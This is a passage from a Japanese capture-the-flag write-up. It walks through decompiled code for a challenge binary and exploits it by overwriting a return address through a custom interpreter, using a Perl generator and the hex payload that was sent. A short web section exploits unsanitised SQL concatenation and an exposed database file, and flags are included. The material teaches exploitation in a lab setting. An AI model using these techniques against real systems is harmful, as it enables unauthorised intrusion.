undefined8 local_128 [27];
undefined8 local_50;
undefined local_48;
undefined local_47;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
iVar2 = strncmp(param_1,"3p1cl337-k3yw0rd",0x10);
if (iVar2 == 0) {
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,"Wow! You are pretty good\n",0x19);
std::ios_base::ios_base((ios_base *)local_128);
local_128[0] = 0x104c40;
local_50 = 0;
local_48 = 0;
local_47 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
*(undefined8 *)
((long)local_228 +
*(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
local_228[1] = 0;
/* try { // try from 0010243f to 00102443 has its CatchHandler @ 0010254f */
std::basic_ios<char,std::char_traits<char>>::init
((basic_streambuf *)((long)local_228 + *(long *)(local_228[0] + -0x18)));
local_228[0] = 0x104ce8;
local_128[0] = 0x104d10;
/* try { // try from 001024db to 001024df has its CatchHandler @ 0010254a */
std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf();
/* try { // try from 001024ed to 001024f1 has its CatchHandler @ 001024f4 */
std::basic_ios<char,std::char_traits<char>>::init((basic_streambuf *)local_128);
/* try { // try from 00102565 to 001025a1 has its CatchHandler @ 00102743 */
lVar3 = std::basic_filebuf<char,std::char_traits<char>>::open((char *)(local_228 + 2),0x103039);
if (lVar3 == 0) {
std::basic_ios<char,std::char_traits<char>>::clear
((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
}
else {
std::basic_ios<char,std::char_traits<char>>::clear
((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
}
local_248 = &local_238;
local_240 = 0;
local_238 = '\0';
/* try { // try from 001025c1 to 00102628 has its CatchHandler @ 00102629 */
std::operator>>((basic_istream *)local_228,(basic_string *)&local_248);
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,"Here\'s your first reward : ",0x1b);
plVar4 = (long *)std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,local_248,local_240);
plVar1 = *(long **)((long)plVar4 + *(long *)(*plVar4 + -0x18) + 0xf0);
if (plVar1 == (long *)0x0) {
uVar5 = std::__throw_bad_cast();
/* catch(type#1 @ 00000000) { ... } // from try @ 001025c1 with catch @ 00102629
catch(type#1 @ 00000000) { ... } // from try @ 00102649 with catch @ 00102629
*/
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream
((basic_ifstream<char,std::char_traits<char>> *)local_228);
/* WARNING: Subroutine does not return */
_Unwind_Resume(uVar5);
}
if (*(char *)(plVar1 + 7) == '\0') {
/* try { // try from 00102649 to 00102668 has its CatchHandler @ 00102629 */
std::ctype<char>::_M_widen_init();
(**(code **)(*plVar1 + 0x30))(plVar1,10);
}
std::basic_ostream<char,std::char_traits<char>>::put((char)plVar4);
std::basic_ostream<char,std::char_traits<char>>::flush();
if (local_248 != &local_238) {
operator.delete(local_248,CONCAT71(uStack567,local_238) + 1);
}
local_228[0] = 0x104ce8;
local_128[0] = 0x104d10;
local_228[2] = 0x104d30;
/* try { // try from 001026ae to 001026b2 has its CatchHandler @ 001026b5 */
std::basic_filebuf<char,std::char_traits<char>>::close();
std::__basic_file<char>::~__basic_file(local_1b0);
local_228[2] = 0x104c60;
std::locale::~locale(local_1e0);
local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
*(undefined8 *)
((long)local_228 +
*(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
local_228[1] = 0;
local_128[0] = 0x104c40;
std::ios_base::~ios_base((ios_base *)local_128);
goto LAB_00102726;
}
std::__ostream_insert<char,std::char_traits<char>>((basic_ostream *)std::cout,"Nope Mate",9);
plVar1 = *(long **)(std::cout + *(long *)(std::cout._0_8_ + -0x18) + 0xf0);
if (plVar1 == (long *)0x0) {
std::__throw_bad_cast();
LAB_001024a4:
std::ctype<char>::_M_widen_init();
(**(code **)(*plVar1 + 0x30))(plVar1,10);
}
else {
if (*(char *)(plVar1 + 7) == '\0') goto LAB_001024a4;
}
std::basic_ostream<char,std::char_traits<char>>::put(-0x80);
std::basic_ostream<char,std::char_traits<char>>::flush();
LAB_00102726:
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
さらに、Interpreter
をTDM-GCCのobjdump
で逆アセンブルした結果より、以下のことがわかった。
-
reg
のデータは、RSP + 0x08
から格納されている -
RAM
のデータは、RSP + 0x10
から格納されている -
reg[0]
~reg[3]
は0
に初期化され、RAM[0]
は1
に初期化される -
RSP + 0x68
にカナリアがある - 6個の値を
push
した後RSP
から0x78
を引いているので、RSP + 0xa8
にリターンアドレスがある
明示されてはいなかったが、c
命令のチェックを通るようなプログラムを入力すればflagが得られると予想した。
c
命令のチェック、すなわちFUN_0010234f
関数では、
与えられたデータをstrncmp
関数で"3p1cl337-k3yw0rd"
と比較していた。
このような長いデータを作るのは難しそうと考えたので、
FUN_00102750
関数のリターンアドレスを書き換え、このチェックの通過後に制御を移すことにした。
FUN_0010234f
関数の逆アセンブル結果の冒頭部分は、以下のようになっていた。
234f: 55 push %rbp
2350: 53 push %rbx
2351: 48 81 ec 38 02 00 00 sub $0x238,%rsp
2358: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
235f: 00 00
2361: 48 89 84 24 28 02 00 mov %rax,0x228(%rsp)
2368: 00
2369: 31 c0 xor %eax,%eax
236b: ba 10 00 00 00 mov $0x10,%edx
2370: 48 8d 35 8d 0c 00 00 lea 0xc8d(%rip),%rsi # 3004 <_ZNSt12__basic_fileIcED1Ev@plt+0xdf4>
2377: e8 34 fd ff ff callq 20b0 <strncmp@plt>
237c: 85 c0 test %eax,%eax
237e: 0f 85 c2 00 00 00 jne 2446 <_ZNSt12__basic_fileIcED1Ev@plt+0x236>
2384: ba 19 00 00 00 mov $0x19,%edx
この部分から、「チェックの通過後」とは0x2384番地であることが読み取れた。
さらに、この関数の冒頭ではRSPを16で割って8余る数変化させているので、
リターンアドレスの書き換えでこのRSPを変化させる部分を飛ばした場合、
スタックのアラインメントの問題は回避できそうである。
また、Ghidraより、FUN_00102750
関数の戻り先は0x2b0c番地であることが読み取れた。
よって、0x2384 - 0x2b0c = -0x788
なので、リターンアドレスの下位2バイトから0x788
を引けば目的を達成できる。
スタック上のデータの配置を考えると、リターンアドレスはreg[0x50]
~reg[0x53]
に相当するので、
この下位2バイトであるreg[0x50]
から0x788
を引けばよい。
(本番中は、誤って0x237c番地に飛ばすために0x790を引いていた。
FUN_00102750
関数はc
命令を実行せずに実行を終了すると0を返すため、
0x237c番地のtest
命令によるチェックを通過できたようである。)
あとは、この値0x788
を用意できれば、これをリターンアドレスから引くことができる。
RAM[0]
、すなわちreg[4]
が1
に初期化されるので、
- 「構築結果」を0、「足す値」を1に初期化する
- 「足す値」と構築したい値のビットANDが0でないなら、「構築結果」に「足す値」を足す
- 「足す値」を2倍する、すなわち「足す値」に「足す値」を足す
- 「構築結果」が構築したい値になるまで、2と3を繰り返す
という処理により、任意の16ビットの値を構築することができる。
以下は、値を指定すると、この方法でその値を構築するプログラムを出力するプログラムである。
num_gen.pl
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV < 1) {
die "Usage: perl num_gen.pl target_number\n";
}
my $target = int($ARGV[0]);
print "a114";
if ($target > 0) {
do {
if ($target & 1) { print "a001"; }
print "a111";
$target >>= 1;
} while ($target > 1);
print "a001";
}
print "\n";
このプログラムの出力に構築された値をリターンアドレスから引く命令を追加した以下のデータを、
Tera Termから「ファイル送信」した。
00000000 61 31 31 34 61 31 31 31 61 31 31 31 61 31 31 31 |a114a111a111a111|
00000010 61 31 31 31 61 30 30 31 61 31 31 31 61 31 31 31 |a111a001a111a111|
00000020 61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31 |a111a001a111a001|
00000030 61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31 |a111a001a111a001|
00000040 73 80 80 30 0a |s..0.|
その結果、flagが得られた。
BSNoida{d009e54bdfff4d8cdeeebab05df02280}
Web
Baby Web
WebページのURLと、サーバのファイル一式が与えられた。
Webページは、IDを入れる欄があり、検索ができるというものだった。
与えられたファイル中のindex.php
を読むと、
$channel_name = $_GET['chall_id'];
$sql = "SELECT * FROM CTF WHERE id={$channel_name}";
$results = $db->query($sql);
という部分があった。
しかし、IDとして1 or 1=1
やid
を入れると、エラーページに飛ばされてしまった。
さらにindex.php
を読んでいくと、
$this->open('./karma.db');
という部分があった。
これによりファイルkarma.db
がindex.php
と同じディレクトリに設置されていることが読み取れるので、
http://ctf.babyweb.bsidesnoida.in/karma.db
をダウンロードし、TkSQLiteで開いた。
すると、flagsss
テーブルがあり、そこにflagが格納されていた。
BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}